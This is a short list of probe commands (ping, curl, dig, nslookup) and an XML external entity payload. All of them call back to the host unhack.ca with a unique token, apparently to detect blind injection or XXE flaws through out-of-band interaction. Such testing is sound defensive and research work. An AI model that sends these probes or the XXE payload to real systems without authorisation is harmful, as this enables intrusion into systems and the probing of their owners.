$ ping -c1 -p 00184e3fba3d9824c5b0e00a4890f200 unhack.ca
$ curl http://unhack.ca/p/184e3fba3d9824c5b0e00a4890f2
$ dig 184e3fba3d9824c5b0e00a4890f2 @unhack.ca
$ dig 184e3fba3d9824c5b0e00a4890f2.ns.unhack.ca
C:\> nslookup 184e3fba3d9824c5b0e00a4890f2 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/184e3fba3d9824c5b0e00a4890f2">]> <foo>&xxe;</foo>